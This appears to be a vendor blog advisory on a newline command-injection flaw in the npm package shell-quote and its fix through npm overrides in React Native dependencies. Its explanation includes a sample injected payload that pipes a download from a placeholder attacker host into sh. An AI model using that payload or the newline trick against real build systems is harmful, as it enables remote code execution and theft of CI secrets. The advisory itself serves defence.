Back to Blog
critical SEVERITY4 min read

shell-quote 1.8.3: Line Terminator Command Injection (CVE-2026-9277)

CVE-2026-9277 is a critical command injection vulnerability in shell-quote versions before 1.9.0, where unescaped line terminators allow attackers to break out of quoted strings and execute arbitrary shell commands. The fix upgrades the dependency across multiple React Native CLI packages and related libraries through npm overrides.

O
By Orbis AppSec
Published September 17, 2026Reviewed September 17, 2026

Answer Summary

shell-quote versions before 1.9.0 are vulnerable to command injection. An attacker can execute arbitrary shell commands by injecting line terminators into strings passed to shell-quote's quoting functions. The fix upgrades shell-quote to 1.9.0 via package.json overrides targeting @react-native-community/cli-platform-android, @react-native-community/cli-platform-ios, and six other packages. CWE unknown.

Vulnerability at a Glance

cweN/A
fixUpgrade to shell-quote 1.9.0 via npm overrides
riskArbitrary code execution when user input reaches shell-quote
languageJavaScript (Node.js/npm)
root causeLine terminator characters (\n, \r) not properly escaped in shell quoting
vulnerabilityCommand injection via unescaped line terminators

Affected Versions

Affected < 1.9.0
Fixed in 1.9.0
Ecosystem npm
CVE / GHSA CVE-2026-9277 / not assigned
CWE unknown

The Vulnerability Explained

shell-quote is a widely-used npm package that escapes strings for safe use in shell commands. At version 1.8.3, it failed to escape line terminator characters—\n (newline) and \r (carriage return)—allowing attackers to inject command separators into what should be single quoted arguments.

Consider how shell-quote builds commands. When you pass user input to shellQuote.quote():

const shellQuote = require('shell-quote');
const userInput = "hello\nworld";
const safe = shellQuote.quote([userInput]);
// 1.8.3 produces: 'hello
// world'

The unescaped newline terminates the single-quoted string prematurely. In shell syntax, this drops the attacker from inside a quoted argument to the raw command context. Anything following the newline executes as a new command.

In React Native build pipelines, this pattern surfaces through @react-native-community/cli and its platform-specific packages. These tools construct shell commands for pod install, gradle builds, and simulator launches. User-controlled values—project names, build flavors, or environment-derived strings—flow into these commands. An attacker who controls any such value can inject:

legitimate-arg
curl attacker.com/exfil | sh

The scanner confirmed this pattern exists in the dependency tree. While the exploit path wasn't confirmed reachable in this specific application, the transitive dependency through multiple React Native packages creates substantial attack surface.

The Fix

The remediation uses npm's overrides field to force shell-quote 1.9.0 across all dependency paths. The package.json change targets eight packages known to transitively include shell-quote:

"overrides": {
  "@react-native-community/cli-platform-android": {
    "fast-xml-parser": "^5.3.4",
    "shell-quote": "1.9.0"
  },
  "@react-native-community/cli-platform-ios": {
    "fast-xml-parser": "^5.3.4",
    "shell-quote": "1.9.0"
  },
  "@craftzdog/react-native-buffer": {
    "shell-quote": "1.9.0"
  },
  "@react-native-async-storage/async-storage": {
    "shell-quote": "1.9.0"
  },
  "@react-native-clipboard/clipboard": {
    "shell-quote": "1.9.0"
  },
  "@react-native-community/cli": {
    "shell-quote": "1.9.0"
  }
}

This approach is necessary because npm's dependency resolution can install multiple versions of the same package. A direct dependency on shell-quote 1.9.0 wouldn't eliminate vulnerable 1.8.3 instances nested under @react-native-community/cli. The override forces deduplication to the patched version.

The package-lock.json reflects this with the version bump:

-      "version": "1.8.3",
+      "version": "1.9.0",

shell-quote 1.9.0 escapes line terminators by converting them to their $'...' ANSI-C quoted form, where \n becomes $'\n'—a string that shells interpret as a literal newline character rather than a syntax terminator.

Key Takeaways

  • Line terminators are shell metacharacters: Developers often focus on quotes, semicolons, and backticks while overlooking that \n and \r are equally valid command separators in POSIX shell syntax.

  • Transitive dependencies in native build tools carry critical risk: React Native's CLI constructs actual shell commands for Xcode and Gradle. A vulnerability in a dependency three levels deep still executes with the full privileges of the build process.

  • npm overrides are the surgical tool for dependency emergencies: When a vulnerable package appears multiple times in the tree, overrides provides deterministic remediation without waiting for upstream maintainers to update their own dependencies.

  • Version pinning in overrides prevents regression: The explicit "1.9.0" string (not ^1.9.0) ensures npm cannot silently downgrade if another package declares an incompatible range.

  • Build-time command injection matters as much as runtime: CI/CD secrets, signing certificates, and deployment credentials are all present during React Native builds. An attacker who achieves code execution here gains access to production infrastructure.

How Orbis AppSec Detected This

Source: User-influenced strings that flow into React Native CLI configuration—project names, bundle identifiers, and environment variables processed during pod install and gradle invocation.

Sink: shell-quote.quote() function constructing shell command arguments for @react-native-community/cli-platform-android and @react-native-community/cli-platform-ios build scripts.

Missing control: Line terminator characters (\n, \r) were not escaped or rejected before string interpolation into shell command contexts.

CWE: unknown

Fix: Force upgrade to shell-quote 1.9.0 across all transitive dependency paths using npm overrides, eliminating the vulnerable escaping implementation.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-9277 demonstrates that even mature, focused utility packages like shell-quote can harbor critical flaws in edge case handling. The line terminator oversight persisted through multiple 1.8.x releases, affecting thousands of projects through React Native's extensive dependency graph. The override-based fix provides immediate protection without waiting for the entire ecosystem to update, a pattern worth remembering for any npm-based project facing transitive dependency vulnerabilities.

Prevention and further reading

Frequently Asked Questions

Does the shell-quote 1.9.0 upgrade require changes to how @react-native-community/cli-platform-android invokes shell commands?

No. The fix is transparent—shell-quote 1.9.0 maintains API compatibility while properly escaping line terminators. The vulnerability existed in the escaping logic itself, not in how consuming packages called the library.

Why were npm overrides applied to @craftzdog/react-native-buffer and @react-native-clipboard/clipboard rather than just the CLI platforms?

These packages also transitively depend on shell-quote. The override strategy forces the patched 1.9.0 version throughout the entire dependency tree, eliminating vulnerable versions that could be reached through alternate import paths.

Is the vulnerability exploitable if shell-quote is only used in build-time React Native tooling, not runtime application code?

Yes. Build-time exploitation remains critical—CI/CD pipelines, local developer machines, and automated build systems all execute shell commands during the React Native build process. An attacker controlling input processed during `pod install` or `gradle` invocation achieves code execution in that context.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #6

Related Articles

high

package_abridge.js Command Injection via Unsanitized CLI Arguments

A high-severity command injection vulnerability in a build script allowed attackers who control CLI arguments to execute arbitrary shell commands by injecting metacharacters into an unvalidated parameter. The fix validates incoming CLI arguments and rejects those containing dangerous shell metacharacters before they reach command execution.

critical

Voice Assistant Command Injection via os.system() f-String

A critical command injection vulnerability in a voice assistant's audio playback handler allowed attackers to execute arbitrary shell commands by manipulating file paths passed to os.system(). The fix replaces shell invocation with subprocess calls and direct OS APIs, eliminating shell metacharacter interpretation entirely.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How shell injection happens in GitHub Actions workflows and how to fix it

A composite GitHub Action in `.github/actions/design-health/action.yml` interpolated `inputs.path`, `inputs.verbose`, and other values directly into `run:` shell scripts using `${{ ... }}` syntax. Because these values are substituted as raw text before the shell ever runs, an attacker-influenced input could inject arbitrary shell commands into the CI runner. The fix moves every interpolated value into `env:` blocks so the shell treats them as data, not code.

high

How command injection happens in Java ProcessBuilder and how to fix it

The `efw` framework exposes OS command execution to application code through `CmdManager.execute(String[] params)`, which passed its parameter array straight into `new ProcessBuilder(...)` at `CmdManager.java:25` with no validation and no documented trust boundary. Because `params` is commonly assembled in event JavaScript from HTTP request parameters — often via string concatenation — the call site was a ready-made command and argument injection primitive. The fix adds explicit parameter valida

critical

`requests.get()`/`delete()`/`post()` with `verify=False` in Release

A critical security vulnerability in a release automation script disabled SSL certificate verification on every HTTPS request to GitHub's API. By passing `verify=False` to `requests.get()`, `requests.delete()`, and `requests.post()`, the script exposed OAuth tokens and release binaries to man-in-the-middle attacks on any network the script ran from.